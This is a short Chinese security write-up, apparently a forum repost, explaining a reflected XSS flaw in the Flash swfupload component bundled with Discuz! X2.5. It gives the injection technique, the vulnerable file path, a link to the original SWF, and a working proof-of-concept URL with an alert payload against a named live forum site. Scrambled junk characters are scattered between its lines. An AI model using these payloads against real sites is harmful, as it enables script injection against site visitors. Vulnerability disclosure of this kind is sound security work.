Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

) {- z* u: F' P  ]' j$ cflash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是

try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
9 `% G4 }7 D, N9 K1 f9 s对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
' c2 F7 d9 c' i" n3 S
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
( T2 n/ U* K( z
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
/ G4 A1 V6 L4 x1 i  }9 u/ u, W

0 {! m* b: ~; O$ y! d8 k4 S3 \* A
漏洞文件：upload\static\image\common\swfupload.swf
% O" E9 T. j, z, C- m. X0 X) j
原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

5 D3 Y4 y4 d2 V
6 l$ a! Z& u( N& X) n/ k# e漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
7 t% A  `& e! Y3 g1 J; }8 E8 [